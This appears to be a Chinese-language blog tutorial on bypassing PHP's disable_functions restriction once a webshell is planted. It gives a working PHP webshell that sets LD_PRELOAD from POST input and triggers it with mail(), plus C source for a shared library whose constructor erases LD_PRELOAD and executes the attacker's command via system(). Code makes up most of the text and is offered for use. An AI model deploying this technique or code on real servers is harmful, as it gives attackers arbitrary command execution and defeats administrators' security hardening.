当你插入webshell的时候,就会遇上这个问题,php.ini中,把能执行命令的函数(例如system)等,都禁掉了怎么办呢?
这时候,就可以参考之前那个
中,使用了LD_PRELOAD 环境变量。这个变量名字在当时说的很清楚了
设置了这个环境变量后,linux会优先加载这个环境变量下的动态链接库程序。
那么理论上,我们只需要找到一个会调用库函数的php内置方法,然后再上传我们的so文件,劫持这个库文件添加到LD_PRELOAD全局变量中,那么系统就会自动帮我们调用我们的so文件达到getshell的效果了。
然而前提是,你的disable_function没有禁putenv这个函数,否则以上都是空话了。
使用例子,putenv+mail函数
<?php
$cmd = $_POST['cmd'];
putenv("EVIL_CMDLINE=" . $cmd);
$so_path = $_POST['so'];
putenv("LD_PRELOAD=" . $so_path);
mail("", "", "", "");
unlink($out_path);
?>
以及对应的so文件:reinstall.rar
代码如下:
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
extern char** environ;
__attribute__ ((__constructor__)) void preload (void)
{
// get command line options and arg
const char* cmdline = getenv("EVIL_CMDLINE");
// unset environment variable LD_PRELOAD.
// unsetenv("LD_PRELOAD") no effect on some
// distribution (e.g., centos), I need crafty trick.
int i;
for (i = 0; environ[i]; ++i) {
if (strstr(environ[i], "LD_PRELOAD")) {
environ[i][0] = '\0';
}
}
// executive command
system(cmdline);
}
其实知晓原理我们自己编写一份也挺简单的,先找到目标函数,去github/各种地方找到函数的原型,因为这次我们不是要HOOK而是直接getshell,原功能可以废弃,所以可以直接把内部实现方法掏空,替换成我们需要执行命令的代码,只需要请求参数和返回参数相同,不让程序崩溃,那么效果就可以达到了。详情可以参考我上面给出的那个连接